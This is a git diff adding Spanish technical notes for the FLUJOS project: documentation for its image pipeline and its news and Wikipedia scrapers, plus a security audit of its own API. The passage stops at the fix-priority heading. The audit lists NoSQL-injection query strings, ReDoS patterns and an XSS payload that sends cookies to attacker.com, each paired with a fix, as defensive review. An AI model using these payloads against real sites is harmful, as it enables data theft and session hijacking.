```python
|
||||
def get_known_article_titles() -> set[str]:
|
||||
"""Títulos de artículos presentes en wikipedia/noticias."""
|
||||
# Prioriza imágenes cuyo tema coincide con artículos existentes
|
||||
```
|
||||
|
||||
Las imágenes de temas con más documentos de texto en la BD se procesan primero, para maximizar la probabilidad de que los nodos imagen queden conectados por comparaciones.
|
||||
|
||||
### Documento MongoDB generado (colección `imagenes`)
|
||||
|
||||
```json
|
||||
{
|
||||
"archivo": "cambio_climático_003.jpg",
|
||||
"image_path": "/var/www/.../output/wiki_images/cambio_climático/cambio_climático_003.jpg",
|
||||
"tema": "cambio climático",
|
||||
"subtema": "calentamiento global",
|
||||
"texto": "Imagen satelital del retroceso del glaciar ártico entre 1990 y 2023. Se observa una reducción significativa de la capa de hielo.",
|
||||
"keywords": ["glaciar", "ártico", "deshielo", "calentamiento", "satélite"],
|
||||
"fecha": ISODate("2026-04-21")
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Parte 3: pipeline_imagenes.py (orquestador)
|
||||
|
||||
### Flags CLI
|
||||
|
||||
```bash
|
||||
python pipeline_imagenes.py --scrape # solo scraping de imágenes
|
||||
python pipeline_imagenes.py --analizar # solo análisis Qwen
|
||||
python pipeline_imagenes.py --mongo # escribe resultados en MongoDB
|
||||
python pipeline_imagenes.py --solo-json # escribe JSON local en vez de Mongo
|
||||
python pipeline_imagenes.py --analizar --carpeta /ruta/custom --mongo
|
||||
```
|
||||
|
||||
### Integración en el pipeline maestro
|
||||
|
||||
El `pipeline_maestro.py` lo llama así:
|
||||
|
||||
**Fase 1 (scraping):**
|
||||
```bash
|
||||
python wikipedia_image_scraper.py --flujos --max 20 --mongo
|
||||
```
|
||||
|
||||
**Fase 2 (análisis):**
|
||||
```bash
|
||||
python pipeline_imagenes.py --analizar \
|
||||
--carpeta FLUJOS_DATOS/IMAGENES/output/wiki_images \
|
||||
--mongo
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Dependencias Python (requirements_imagenes.txt)
|
||||
|
||||
```
|
||||
transformers>=4.45
|
||||
torch>=2.1
|
||||
qwen-vl-utils
|
||||
Pillow
|
||||
requests
|
||||
pymongo
|
||||
scikit-learn
|
||||
python-dotenv
|
||||
```
|
||||
|
||||
Instalación en el venv:
|
||||
```bash
|
||||
/var/www/theflows.net/flujos/FLUJOS_DATOS/myenv/bin/python3 -m pip install -r requirements_imagenes.txt
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Estado actual (2026-04-21)
|
||||
|
||||
- Imágenes en disco: ~155 imágenes en `output/wiki_images/` (10 temas × ~15 imgs)
|
||||
- Imágenes en `imagenes_wiki` (MongoDB): ~150 docs
|
||||
- Imágenes analizadas con Qwen en `imagenes` (MongoDB): proceso en curso / pendiente de primera ejecución completa
|
||||
- El modelo Qwen se descarga automáticamente la primera vez que se llama (~16 GB, puede tardar 30–60 min)
|
||||
|
||||
## Pendiente / mejoras futuras
|
||||
|
||||
- Conectar nodos imagen a la colección `comparaciones` (requiere embeddings de imagen o comparación texto-descripción)
|
||||
- Activar GPU cuando esté disponible (cambiar `device_map="cpu"` → `"cuda"`)
|
||||
- Aumentar `--max` a 50+ imágenes por tema una vez el análisis esté validado
|
||||
- Añadir soporte para imágenes de noticias (no solo Wikipedia)
|
||||
270
INFO/DOCS/CONTEXT/SCRAPER_NOTICIAS.md
Normal file
270
INFO/DOCS/CONTEXT/SCRAPER_NOTICIAS.md
Normal file
|
|
@ -0,0 +1,270 @@
|
|||
# Scraper de Noticias — Contexto técnico FLUJOS
|
||||
**Fecha:** 2026-04-21
|
||||
**Archivo:** `FLUJOS_DATOS/NOTICIAS/main_noticias.py`
|
||||
**Entorno:** `FLUJOS_DATOS/myenv/` (Python 3.11, venv)
|
||||
|
||||
---
|
||||
|
||||
## Qué hace
|
||||
|
||||
Scraper web recursivo que:
|
||||
1. Visita ~90 URLs de medios de comunicación internacionales
|
||||
2. Explora sus páginas recursivamente hasta profundidad 6
|
||||
3. Descarga artículos (texto) y ficheros adjuntos (PDF, CSV, DOCX, XLSX, ZIP)
|
||||
4. Traduce a español si el contenido está en otro idioma
|
||||
5. Limpia y tokeniza con BERT
|
||||
6. Guarda en disco y MongoDB (`noticias`)
|
||||
|
||||
---
|
||||
|
||||
## Lista de fuentes (90 medios)
|
||||
|
||||
```python
|
||||
urls = [
|
||||
# Bases de datos de investigación
|
||||
'https://reactionary.international/database/',
|
||||
'https://aleph.occrp.org/', # OCCRP — periodismo de investigación
|
||||
'https://offshoreleaks.icij.org/', # ICIJ — paraísos fiscales
|
||||
|
||||
# Prensa española
|
||||
'https://www.publico.es/', 'https://www.elsaltodiario.com/',
|
||||
'https://elpais.com/', 'https://www.elmundo.es/', 'https://www.abc.es/',
|
||||
'https://www.lavanguardia.com/', 'https://www.elconfidencial.com/',
|
||||
'https://www.eldiario.es/', 'https://www.rtve.es/', ...
|
||||
|
||||
# Prensa internacional
|
||||
'https://www.nytimes.com/', 'https://www.theguardian.com/',
|
||||
'https://www.lemonde.fr/', 'https://www.spiegel.de/',
|
||||
'https://www.washingtonpost.com/', 'https://www.aljazeera.com/',
|
||||
'https://www.bbc.com/', 'https://www.reuters.com/',
|
||||
'https://www.ft.com/', 'https://www.economist.com/', ...
|
||||
|
||||
# Prensa tech / seguridad
|
||||
'https://www.wired.com/', 'https://www.theregister.com/',
|
||||
'https://www.arstechnica.com/', 'https://www.zdnet.com/',
|
||||
'https://www.cyberdefensemagazine.com/', 'https://www.darkreading.com/', ...
|
||||
]
|
||||
```
|
||||
|
||||
Total: ~90 URLs seed. Cada una se explora recursivamente hasta 6 niveles de profundidad.
|
||||
|
||||
---
|
||||
|
||||
## Flujo de scraping recursivo
|
||||
|
||||
```python
|
||||
def explore_and_extract_articles(url, articles_folder, files_folder,
|
||||
processed_urls, size_limit, depth=0, max_depth=6):
|
||||
```
|
||||
|
||||
```
|
||||
para cada URL seed:
|
||||
explore_and_extract_articles(url, depth=0, max_depth=6)
|
||||
└── HTMLSession.get(url).html.render() # ejecuta JavaScript con Chromium headless
|
||||
para cada link encontrado:
|
||||
if link ya procesado: skip
|
||||
processed_urls.add(link)
|
||||
|
||||
if extensión es PDF/CSV/DOCX/XLSX/ZIP/HTML/MD:
|
||||
download_and_save_file(link, files_folder)
|
||||
else:
|
||||
extract_and_save_article(link, articles_folder)
|
||||
explore_and_extract_articles(link, depth+1) # recursivo
|
||||
|
||||
if tamaño total > 50 GB: parar
|
||||
|
||||
explore_wayback_machine(url, articles_folder) # fallback Wayback Machine
|
||||
```
|
||||
|
||||
### Renderizado JavaScript
|
||||
|
||||
Usa `requests-html` con Chromium headless (Pyppeteer) para renderizar páginas que cargan contenido con JavaScript. Esto permite scraping de medios que usan SPA/React.
|
||||
|
||||
```python
|
||||
session = HTMLSession()
|
||||
response = session.get(url, timeout=30)
|
||||
response.html.render(timeout=30, sleep=1) # espera 1s a que cargue el JS
|
||||
links = response.html.absolute_links
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Extracción y limpieza de artículos
|
||||
|
||||
```python
|
||||
def extract_and_save_article(url, articles_folder):
|
||||
response = requests.get(url, timeout=30)
|
||||
soup = BeautifulSoup(response.content, 'html.parser')
|
||||
|
||||
title = soup.find('title').get_text().strip()
|
||||
paragraphs = soup.find_all('p')
|
||||
content = ' '.join([p.get_text() for p in paragraphs])
|
||||
|
||||
translated = translate_text(content) # → español
|
||||
cleaned = clean_text(translated) # → limpieza + stopwords
|
||||
|
||||
filename = clean_filename(title) + '.txt'
|
||||
guardar en articles_folder/filename
|
||||
```
|
||||
|
||||
### Traducción automática
|
||||
|
||||
```python
|
||||
from deep_translator import GoogleTranslator
|
||||
|
||||
def translate_text(text):
|
||||
return GoogleTranslator(source='auto', target='es').translate(text)
|
||||
```
|
||||
|
||||
Usa Google Translate vía `deep-translator`. Detecta idioma automáticamente. Fallo → devuelve el texto original sin traducir.
|
||||
|
||||
### Limpieza de texto
|
||||
|
||||
```python
|
||||
def clean_text(text):
|
||||
text = re.sub(r'<!\[\s*CDATA\s*\[.*?\]\]>', '', text, flags=re.S) # CDATA
|
||||
soup = BeautifulSoup(text, 'html.parser')
|
||||
text = soup.get_text(separator=" ") # HTML → texto plano
|
||||
text = text.lower()
|
||||
text = re.sub(r'http\S+', '', text) # elimina URLs
|
||||
text = re.sub(r'[^a-záéíóúñü\s]', '', text) # solo letras + espacios
|
||||
text = re.sub(r'\s+', ' ', text).strip()
|
||||
words = [w for w in text.split() if w not in STOPWORDS]
|
||||
return ' '.join(words)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Procesamiento de ficheros descargados
|
||||
|
||||
```python
|
||||
def process_files(files_folder, destination_folder):
|
||||
for file in os.walk(files_folder):
|
||||
if .pdf: content = read_pdf(file_path) # PyPDF2
|
||||
elif .csv: content = read_csv(file_path) # csv.reader
|
||||
elif .txt: content = open(file_path).read()
|
||||
elif .docx: content = read_docx(file_path) # python-docx
|
||||
elif .xlsx: content = read_xlsx(file_path) # openpyxl
|
||||
elif .zip: content = read_zip(file_path) # zipfile
|
||||
elif .html/.md: content = format_content(html2text)
|
||||
|
||||
translated = translate_text(content)
|
||||
cleaned = clean_text(translated)
|
||||
tokenize_and_save(cleaned, file, destination_folder)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Tokenización BERT
|
||||
|
||||
```python
|
||||
from transformers import BertTokenizer
|
||||
tokenizer = BertTokenizer.from_pretrained('dccuchile/bert-base-spanish-wwm-cased')
|
||||
|
||||
def tokenize_and_save(text, filename, destination_folder):
|
||||
tokens = tokenizer.encode(text, truncation=True, max_length=512, add_special_tokens=True)
|
||||
tokens_str = ' '.join(map(str, tokens))
|
||||
open(f'{destination_folder}/{filename}', 'w').write(tokens_str)
|
||||
```
|
||||
|
||||
Mismo modelo BERT en español que el scraper de Wikipedia. Trunca a 512 tokens.
|
||||
|
||||
---
|
||||
|
||||
## Deduplicación por URL
|
||||
|
||||
```python
|
||||
def register_processed_notifications(base_folder, urls):
|
||||
"""Lee/escribe processed_articles.txt para evitar re-procesar URLs."""
|
||||
txt_path = os.path.join(base_folder, "processed_articles.txt")
|
||||
processed_urls = set(open(txt_path).read().splitlines())
|
||||
urls_to_process = [u for u in urls if u not in processed_urls]
|
||||
# Añade nuevas URLs al fichero
|
||||
return urls_to_process
|
||||
```
|
||||
|
||||
Las URLs ya procesadas se guardan en `NOTICIAS/processed_articles.txt`. Esto es la deduplicación a nivel de seed URL, pero NO previene artículos duplicados desde diferentes URLs.
|
||||
|
||||
---
|
||||
|
||||
## Límites configurados
|
||||
|
||||
```python
|
||||
FOLDER_SIZE_LIMIT = 50 * 1024 * 1024 * 1024 # 50 GB máximo en disco
|
||||
max_depth = 6 # profundidad recursiva máxima
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Estructura de ficheros en disco (ignorada por git)
|
||||
|
||||
```
|
||||
FLUJOS_DATOS/NOTICIAS/
|
||||
├── articulos/ # .gitignore — .txt por artículo scrapeado
|
||||
├── archivos/ # .gitignore — PDF, CSV, DOCX, etc. descargados
|
||||
├── tokenized/ # .gitignore — IDs BERT por documento
|
||||
├── processed_articles.txt # .gitignore — URLs ya procesadas
|
||||
├── noticias_procesadas.txt # .gitignore
|
||||
├── main_noticias.py
|
||||
└── docs.txt
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Documento MongoDB generado (colección `noticias`)
|
||||
|
||||
La inserción a MongoDB la hace `pipeline_mongolo.py` (Fase 2), no el scraper directamente. El scraper solo guarda en disco.
|
||||
|
||||
```json
|
||||
{
|
||||
"_id": ObjectId,
|
||||
"archivo": "titulo-de-la-noticia.txt",
|
||||
"tema": "guerra global",
|
||||
"subtema": "conflictos internacionales",
|
||||
"texto": "texto limpio de la noticia...",
|
||||
"fecha": ISODate | null
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Wayback Machine como fallback
|
||||
|
||||
```python
|
||||
def explore_wayback_machine(url, articles_folder):
|
||||
api_url = f"http://archive.org/wayback/available?url={url}"
|
||||
data = requests.get(api_url).json()
|
||||
archive_url = data['archived_snapshots']['closest']['url']
|
||||
extract_and_save_article(archive_url, articles_folder)
|
||||
```
|
||||
|
||||
Si un medio está caído o bloquea el scraper, intenta obtener la versión más reciente desde archive.org.
|
||||
|
||||
---
|
||||
|
||||
## Limitaciones conocidas
|
||||
|
||||
1. **Renderizado headless lento** — `requests-html` usa Pyppeteer/Chromium, ~2–5 seg/página. Escalar a 20.000 artículos cuesta horas.
|
||||
2. **Sin respeto a robots.txt** — El scraper no verifica robots.txt. Algunos medios bloquean scraping.
|
||||
3. **Paywall** — Medios como FT, NYT, WSJ bloquean sin suscripción. El scraper solo obtiene lo que es público.
|
||||
4. **Traducción de textos largos** — `deep-translator` tiene límite de ~5.000 chars por llamada. Textos largos pueden fallar silenciosamente.
|
||||
5. **Sin fecha de publicación** — Se parsea el título HTML, no los metadatos `<meta property="article:published_time">`. El campo `fecha` suele quedar vacío.
|
||||
6. **Recursión sin límite de anchura** — Una página con 1.000 links genera 1.000 llamadas recursivas. Puede tardar mucho en sitios grandes.
|
||||
|
||||
---
|
||||
|
||||
## Dependencias
|
||||
|
||||
```
|
||||
requests
|
||||
requests-html # HTMLSession + Pyppeteer
|
||||
beautifulsoup4
|
||||
html2text
|
||||
deep-translator # Google Translate API no oficial
|
||||
PyPDF2
|
||||
python-docx
|
||||
openpyxl
|
||||
transformers # BertTokenizer
|
||||
tqdm
|
||||
pymongo
|
||||
```
|
||||
205
INFO/DOCS/CONTEXT/SCRAPER_WIKIPEDIA.md
Normal file
205
INFO/DOCS/CONTEXT/SCRAPER_WIKIPEDIA.md
Normal file
|
|
@ -0,0 +1,205 @@
|
|||
# Scraper de Wikipedia — Contexto técnico FLUJOS
|
||||
**Fecha:** 2026-04-21
|
||||
**Archivo:** `FLUJOS_DATOS/WIKIPEDIA/main.py`
|
||||
**Utilidades:** `FLUJOS_DATOS/WIKIPEDIA/wikipedia_utils.py`
|
||||
**Entorno:** `FLUJOS_DATOS/myenv/` (Python 3.11, venv)
|
||||
|
||||
---
|
||||
|
||||
## Qué hace
|
||||
|
||||
Descarga artículos de Wikipedia en español organizados por temas de FLUJOS, los limpia, tokeniza con BERT y los guarda en disco (`.txt`) y MongoDB (`wikipedia`).
|
||||
|
||||
---
|
||||
|
||||
## Temas y palabras clave
|
||||
|
||||
El scraper itera sobre un diccionario de temas con listas de keywords. Para cada keyword hace una búsqueda en la Wikipedia API y descarga los artículos encontrados.
|
||||
|
||||
```python
|
||||
temas = {
|
||||
"inteligencia y seguridad": [
|
||||
"inteligencia", "seguridad", "espionaje", "ciberseguridad", "NSA", "FBI", "CIA",
|
||||
"contraterrorismo", "criptografía", "vigilancia", "hackeo", "ransomware", ...
|
||||
],
|
||||
"guerras": [
|
||||
"guerra", "conflicto", "batalla", "militar", "guerra civil", "intervención militar",
|
||||
"fuerzas armadas", "ejército", "terrorismo", "crímenes de guerra", ...
|
||||
],
|
||||
"corporaciones": [
|
||||
"empresa", "multinacionales", "mercado bursátil", "BlackRock", "Vanguard",
|
||||
"fusiones", "adquisiciones", "venture capital", "evasión fiscal", ...
|
||||
],
|
||||
"demografía": [
|
||||
"población", "migración", "natalidad", "urbanización", "refugiados",
|
||||
"desigualdad", "pobreza", "pandemia", ...
|
||||
],
|
||||
"cambio climático": [
|
||||
"cambio climático", "calentamiento global", "energías renovables",
|
||||
"deforestación", "emisiones de carbono", "acuerdo de París", ...
|
||||
],
|
||||
"organizaciones internacionales": [
|
||||
"OTAN", "BRICS", "ONU", "Unión Europea", "FMI", "Banco Mundial", ...
|
||||
],
|
||||
"gobiernos autoritarios": [
|
||||
"dictadura", "autoritario", "represión política", "censura", "prisioneros políticos", ...
|
||||
],
|
||||
}
|
||||
```
|
||||
|
||||
Cada tema tiene entre 50 y 100 palabras clave. En total son ~500 keywords → cada una genera hasta 50 artículos = **potencial de ~25.000 artículos**.
|
||||
|
||||
---
|
||||
|
||||
## Flujo de scraping
|
||||
|
||||
```
|
||||
para cada (tema, palabras_clave):
|
||||
para cada palabra_clave:
|
||||
buscar_articulos(palabra_clave, max_articulos=50, offset=0)
|
||||
└── GET https://es.wikipedia.org/w/api.php
|
||||
action=query, list=search, srsearch={keyword}
|
||||
para cada titulo encontrado:
|
||||
if titulo not in titulos_descargados:
|
||||
contenido = obtener_contenido_wikipedia(titulo)
|
||||
└── GET https://es.wikipedia.org/w/api.php
|
||||
action=query, prop=revisions, rvprop=content
|
||||
guardar en articulos_wikipedia/{titulo_limpio}.txt
|
||||
titulos_descargados.add(titulo)
|
||||
offset += 50 # paginación
|
||||
time.sleep(1) # cortesía hacia la API
|
||||
```
|
||||
|
||||
**Límite de tamaño:** Para cuando `articulos_wikipedia/` supera 100 GB (en la práctica nunca se ha alcanzado).
|
||||
|
||||
---
|
||||
|
||||
## Limpieza de texto
|
||||
|
||||
```python
|
||||
def limpiar_texto(texto):
|
||||
texto = texto.lower()
|
||||
texto = re.sub(r'[^\w\s]', '', texto) # elimina puntuación
|
||||
palabras = texto.split()
|
||||
palabras_limpias = [p for p in palabras if p not in stopwords]
|
||||
return ' '.join(palabras_limpias)
|
||||
```
|
||||
|
||||
Stopwords: lista manual en español (~200 palabras). No usa NLTK en este módulo (sí en pipeline_completo.py).
|
||||
|
||||
---
|
||||
|
||||
## Tokenización BERT
|
||||
|
||||
```python
|
||||
from transformers import BertTokenizer
|
||||
|
||||
tokenizer = BertTokenizer.from_pretrained('dccuchile/bert-base-spanish-wwm-cased')
|
||||
|
||||
def TOKENIZER():
|
||||
archivos = os.listdir('articulos_wikipedia')
|
||||
for archivo in archivos:
|
||||
contenido = open(f'articulos_wikipedia/{archivo}').read()
|
||||
tokens_ids = tokenizer.encode(contenido, add_special_tokens=False)
|
||||
with open(f'articulos_tokenizados/{archivo}', 'w') as f:
|
||||
f.write(' '.join(map(str, tokens_ids)))
|
||||
```
|
||||
|
||||
- Modelo BERT: `dccuchile/bert-base-spanish-wwm-cased` (BERT en español de la U. de Chile)
|
||||
- Truncación: 512 tokens máximo por documento
|
||||
- Output: archivo `.txt` con IDs numéricos separados por espacios
|
||||
|
||||
---
|
||||
|
||||
## Limpiar nombre de fichero
|
||||
|
||||
```python
|
||||
def limpiar_nombre_archivo(nombre):
|
||||
nombre = re.sub(r'[\\/*?:"<>|]', "_", nombre)
|
||||
return nombre
|
||||
# Ejemplo: "Guerra_del_Golfo_(1990)" → "Guerra_del_Golfo__1990_"
|
||||
```
|
||||
|
||||
El nombre del fichero es el título del artículo de Wikipedia limpiado. Es también el `archivo` en MongoDB (clave de dedup).
|
||||
|
||||
---
|
||||
|
||||
## Asignación de tema y subtema
|
||||
|
||||
Esta lógica vive en `pipeline_completo.py::asignar_tema_y_subtema()`, no en el scraper. El scraper solo guarda texto; el tokenizador/comparador asigna el tema.
|
||||
|
||||
```python
|
||||
tematicas = {
|
||||
'inteligencia y seguridad': ['inteligencia', 'ciberseguridad', 'espionaje', ...],
|
||||
'cambio climático': ['cambio climático', 'desastres naturales', ...],
|
||||
'guerra global': ['conflictos internacionales', 'guerras civiles', ...],
|
||||
'demografía y sociedad': ['sobrepoblación', 'migraciones', ...],
|
||||
'economía y corporaciones': ['economía global', 'corporaciones multinacionales', ...],
|
||||
}
|
||||
# Si ningún keyword coincide: tema='otros', subtema='general'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Documento MongoDB generado (colección `wikipedia`)
|
||||
|
||||
```json
|
||||
{
|
||||
"_id": ObjectId,
|
||||
"archivo": "Guerra_del_Golfo.txt",
|
||||
"tema": "guerra global",
|
||||
"subtema": "conflictos internacionales",
|
||||
"texto": "La Guerra del Golfo fue un conflicto armado...",
|
||||
"fecha": null // Wikipedia no suele tener fecha de publicación clara
|
||||
}
|
||||
```
|
||||
|
||||
La inserción usa upsert por `archivo` para deduplicar.
|
||||
|
||||
---
|
||||
|
||||
## Almacenamiento en disco (ignorado por git)
|
||||
|
||||
```
|
||||
FLUJOS_DATOS/WIKIPEDIA/
|
||||
├── articulos_wikipedia/ # .gitignore — txt en español por artículo
|
||||
├── articulos_tokenizados/ # .gitignore — IDs BERT por artículo
|
||||
├── main.py
|
||||
├── wikipedia_utils.py
|
||||
└── docs.txt
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Ejecución dentro del pipeline maestro
|
||||
|
||||
`pipeline_maestro.py` Fase 1 llama:
|
||||
```bash
|
||||
/var/www/theflows.net/flujos/FLUJOS_DATOS/myenv/bin/python3 \
|
||||
FLUJOS_DATOS/WIKIPEDIA/main.py
|
||||
```
|
||||
|
||||
Desde el directorio `FLUJOS_DATOS/WIKIPEDIA/` para que las rutas relativas (`articulos_wikipedia/`) funcionen.
|
||||
|
||||
---
|
||||
|
||||
## Limitaciones conocidas
|
||||
|
||||
1. **Sin fecha en artículos Wikipedia** — El scraper no extrae la fecha de revisión. El campo `fecha` queda en `null` o vacío en Mongo, lo que rompe los filtros de fecha en la API.
|
||||
2. **Nombres duplicados potenciales** — Artículos con títulos similares generan el mismo nombre de fichero después de la limpieza.
|
||||
3. **No hay control de idioma** — Si un keyword es un acrónimo (NSA, CIA), puede devolver artículos en inglés mezclados con los españoles.
|
||||
4. **Tokenización trunca a 512 tokens** — Artículos largos pierden la segunda mitad para el cálculo de similitud.
|
||||
5. **Sin rate limiting robusta** — Solo `time.sleep(1)` entre keywords, pero la Wikipedia API tiene un límite de 200 req/s por IP (raramente alcanzado).
|
||||
|
||||
---
|
||||
|
||||
## Dependencias
|
||||
|
||||
```
|
||||
transformers>=4.45 (BertTokenizer)
|
||||
tqdm
|
||||
requests
|
||||
pymongo
|
||||
```
|
||||
|
||||
BERT (`dccuchile/bert-base-spanish-wwm-cased`) se descarga automáticamente en el primer uso (~500 MB, se cachea en `~/.cache/huggingface/`).
|
||||
205
INFO/DOCS/CONTEXT/SEGURIDAD.md
Normal file
205
INFO/DOCS/CONTEXT/SEGURIDAD.md
Normal file
|
|
@ -0,0 +1,205 @@
|
|||
# Informe de Seguridad — FLUJOS
|
||||
**Fecha:** 2026-04-21
|
||||
**Auditor:** Análisis de código estático + pruebas manuales en local
|
||||
**Scope:** API REST (`FLUJOS_APP.js`), frontend JS, configuración nginx/systemd
|
||||
|
||||
---
|
||||
|
||||
## Resumen ejecutivo
|
||||
|
||||
La aplicación despliega una API Express + MongoDB sin autenticación ni rate limiting. Se han identificado **2 vulnerabilidades críticas** explotables ahora mismo, 3 altas y 2 medias.
|
||||
|
||||
---
|
||||
|
||||
## Vulnerabilidades encontradas
|
||||
|
||||
### 🔴 CRÍTICA 1 — NoSQL Injection (MongoDB Operator Injection)
|
||||
|
||||
**Archivo:** `FLUJOS/BACK_BACK/FLUJOS_APP.js` líneas 57–72
|
||||
**Estado:** CONFIRMADA. Probada manualmente, devuelve datos reales.
|
||||
|
||||
Express parsea `?tema[$ne]=nada` como el objeto JavaScript `{ $ne: "nada" }`, que MongoDB acepta como operador. Todos los parámetros de query van directamente al filtro sin validación de tipo.
|
||||
|
||||
**Vectores explotables:**
|
||||
```
|
||||
GET /api/data?tema[$ne]=nada&nodos=500
|
||||
→ Devuelve 500 nodos de CUALQUIER tema (bypasa el filtro)
|
||||
|
||||
GET /api/data?tema[$gt]=&nodos=500
|
||||
→ Equivalente a "todos los documentos donde tema > ''"
|
||||
|
||||
GET /api/data?subtematica[$regex]=.*&tema=guerra+global
|
||||
→ Itera toda la subcolección
|
||||
|
||||
GET /api/data?fechaInicio[$type]=9&fechaFin[$type]=9&tema=guerra+global
|
||||
→ Fuerza error de tipo, puede revelar stack traces en logs
|
||||
```
|
||||
|
||||
**Fix (10 min):**
|
||||
```javascript
|
||||
// En FLUJOS_APP.js, justo después de desestructurar req.query:
|
||||
function sanitizeParam(val) {
|
||||
if (typeof val !== 'string') return undefined;
|
||||
return val.trim();
|
||||
}
|
||||
const tema = sanitizeParam(req.query.tema);
|
||||
const subtematica = sanitizeParam(req.query.subtematica);
|
||||
const palabraClave = sanitizeParam(req.query.palabraClave);
|
||||
const fechaInicio = sanitizeParam(req.query.fechaInicio);
|
||||
const fechaFin = sanitizeParam(req.query.fechaFin);
|
||||
const nodos = sanitizeParam(req.query.nodos);
|
||||
const complejidad = sanitizeParam(req.query.complejidad);
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 🔴 CRÍTICA 2 — Puerto 3000 expuesto públicamente
|
||||
|
||||
**Estado:** CONFIRMADA. `ss -tlnp` muestra `0.0.0.0:3000`.
|
||||
|
||||
Node.js escucha en todas las interfaces. Cualquiera puede conectar directamente al backend Node sin pasar por nginx, evitando HTTPS y cualquier posible middleware de nginx.
|
||||
|
||||
```
|
||||
LISTEN 0.0.0.0:3000 → accesible desde internet sin TLS
|
||||
```
|
||||
|
||||
**Fix (1 línea):**
|
||||
```javascript
|
||||
// FLUJOS_APP.js línea 235:
|
||||
app.listen(port, '127.0.0.1', () => { ... }); // era '0.0.0.0'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 🟠 ALTA 1 — XSS Almacenado (Stored XSS)
|
||||
|
||||
**Archivo:** `FLUJOS/VISUALIZACION/public/output_int_sec.js` línea 90–92
|
||||
**Archivo:** `FLUJOS/VISUALIZACION/public/3dscript_eco-corp.html` líneas 88, 102
|
||||
|
||||
El contenido de nodos (`content`) proveniente de MongoDB se inserta con `innerHTML`:
|
||||
```javascript
|
||||
detailPanel.innerHTML = `
|
||||
<h2>Detalle</h2>
|
||||
<pre>${content || 'No hay contenido disponible.'}</pre>
|
||||
`;
|
||||
```
|
||||
|
||||
Si la BD se compromete o un artículo scrapeado contiene HTML malicioso (`<img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>`), se ejecuta en el navegador de todos los visitantes.
|
||||
|
||||
**Fix:**
|
||||
```javascript
|
||||
const pre = document.createElement('pre');
|
||||
pre.textContent = content || 'No hay contenido disponible.';
|
||||
const h2 = document.createElement('h2');
|
||||
h2.textContent = 'Detalle';
|
||||
detailPanel.replaceChildren(h2, pre);
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 🟠 ALTA 2 — ReDoS via `$regex` sin sanitizar
|
||||
|
||||
**Archivo:** `FLUJOS_APP.js` línea 72
|
||||
|
||||
```javascript
|
||||
nodesQuery.texto = { $regex: palabraClave, $options: 'i' };
|
||||
```
|
||||
|
||||
Un patrón como `(a+)+$` o `(.*a){20}` puede bloquear MongoDB durante segundos o minutos (ataque de Denegación de Servicio).
|
||||
|
||||
**Fix:**
|
||||
```javascript
|
||||
if (palabraClave) {
|
||||
if (typeof palabraClave !== 'string' || palabraClave.length > 100) {
|
||||
res.status(400).json({ error: 'palabraClave inválida' });
|
||||
return;
|
||||
}
|
||||
// Escapar metacaracteres regex
|
||||
const escapedKw = palabraClave.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
|
||||
nodesQuery.texto = { $regex: escapedKw, $options: 'i' };
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 🟠 ALTA 3 — Sin rate limiting
|
||||
|
||||
No existe ningún límite de peticiones. Un script puede hacer miles de consultas/segundo, saturando MongoDB o la RAM del servidor.
|
||||
|
||||
**Fix:**
|
||||
```bash
|
||||
npm install express-rate-limit
|
||||
```
|
||||
```javascript
|
||||
const rateLimit = require('express-rate-limit');
|
||||
app.use('/api/', rateLimit({
|
||||
windowMs: 60 * 1000, // 1 minuto
|
||||
max: 60, // 60 peticiones por minuto por IP
|
||||
standardHeaders: true,
|
||||
legacyHeaders: false,
|
||||
}));
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 🟡 MEDIA 1 — CSP con `unsafe-inline`
|
||||
|
||||
La CSP actual permite `'unsafe-inline'` en `scriptSrc`. Esto anula la protección XSS de la CSP porque cualquier script inline se ejecuta sin restricción.
|
||||
|
||||
Origen del problema: los `<script>` inline en los HTML (fade-out del fondo, setTimeout).
|
||||
|
||||
**Fix:** Mover ese JS inline a ficheros `.js` separados y eliminar `'unsafe-inline'` del CSP.
|
||||
|
||||
---
|
||||
|
||||
### 🟡 MEDIA 2 — Helmet parcialmente configurado / X-Powered-By expuesto
|
||||
|
||||
Solo se usa `helmet.contentSecurityPolicy()`, dejando otras protecciones de Helmet desactivadas. La cabecera `X-Powered-By: Express` está visible, revelando el stack.
|
||||
|
||||
**Fix:**
|
||||
```javascript
|
||||
app.use(helmet()); // activa todo por defecto
|
||||
app.use(helmet.contentSecurityPolicy({...})); // luego ajusta solo el CSP
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Lo que está bien
|
||||
|
||||
| Componente | Estado |
|
||||
|---|---|
|
||||
| HTTPS con Let's Encrypt | Activo en nginx |
|
||||
| MongoDB en 127.0.0.1 | No expuesto al exterior |
|
||||
| Límite de nodos máx. 500 | `Math.min(parseInt(nodos) || 100, 500)` |
|
||||
| Helmet CSP básico | Activo |
|
||||
| No hay SQL injection | BD es MongoDB, no SQL |
|
||||
| No directory listing en /wiki-images/ | Express static lo rechaza |
|
||||
| HTTP → HTTPS redirect | Configurado en nginx |
|
||||
|
||||
---
|
||||
|
||||
## Configuración nginx relevante (theflows.net)
|
||||
|
||||
```
|
||||
/etc/nginx/sites-enabled/theflows.net
|
||||
├── HTTP :80 → redirect 301 HTTPS
|
||||
├── HTTPS :443 ssl http2 (Let's Encrypt)
|
||||
│ ├── root: FLUJOS/VISUALIZACION/public (estáticos directos)
|
||||
│ └── /api/ → proxy_pass http://127.0.0.1:3000/api/
|
||||
```
|
||||
|
||||
**Problema:** el backend Node también escucha en `0.0.0.0:3000`, así que nginx solo es un proxy opcional, no obligatorio.
|
||||
|
||||
---
|
||||
|
||||
## Orden de prioridad de fixes
|
||||
